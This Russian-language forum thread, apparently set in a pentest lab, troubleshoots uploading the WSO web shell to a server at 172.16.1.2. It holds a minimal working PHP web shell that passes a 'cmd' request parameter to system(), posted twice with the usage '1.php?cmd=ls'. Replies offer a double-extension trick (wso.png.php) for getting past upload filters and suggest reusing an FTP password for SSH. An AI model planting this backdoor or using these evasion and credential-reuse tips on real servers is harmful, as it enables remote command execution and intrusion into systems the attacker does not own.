D
Size: a a a
2018 September 02
D
Очень похоже на блокнутые фуночки, если есть судо - пропробуй зачисти
D
Либо как вариант - на хосте вебсервер может блочить
D
Для того же Нжинкса есть либки, которые могут какие-то базовые шеллы и руткиты детектить и блокать
D
/etc/nginx/nginx.conf - Должны быть инклюды файлов с расширением *.so
k
после загрузки wso на web-сервер и переходу по ссылке до http://172.16.1.2/uploads/wso.php - черный экран (независимо в каком браузере открываю и какое wso загружаю). Где искать причину?
Загрузи
<? phpinfo(); ?> и гляньMC
после загрузки wso на web-сервер и переходу по ссылке до http://172.16.1.2/uploads/wso.php - черный экран (независимо в каком браузере открываю и какое wso загружаю). Где искать причину?
Переименуй Шелл на wso.png.php
D
Переименуй Шелл на wso.png.php
Так уже давно не работает)
D
Хотя, это ж лаба
M
M
Переименуй Шелл на wso.png.php
не
M
disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
k
disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Попробуй простенький залить
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
M
M
здесь ssh стоит, попробую подойдет ли пароль от ftp
k
1.php?cmd=ls
M
M
спасибо))
MC
Хотя, это ж лаба
Это работает там, где nginx настроен неправильно ))
А это часто встречается:)
А это часто встречается:)
MC
спасибо))
А ты в пентестит работаешь ?)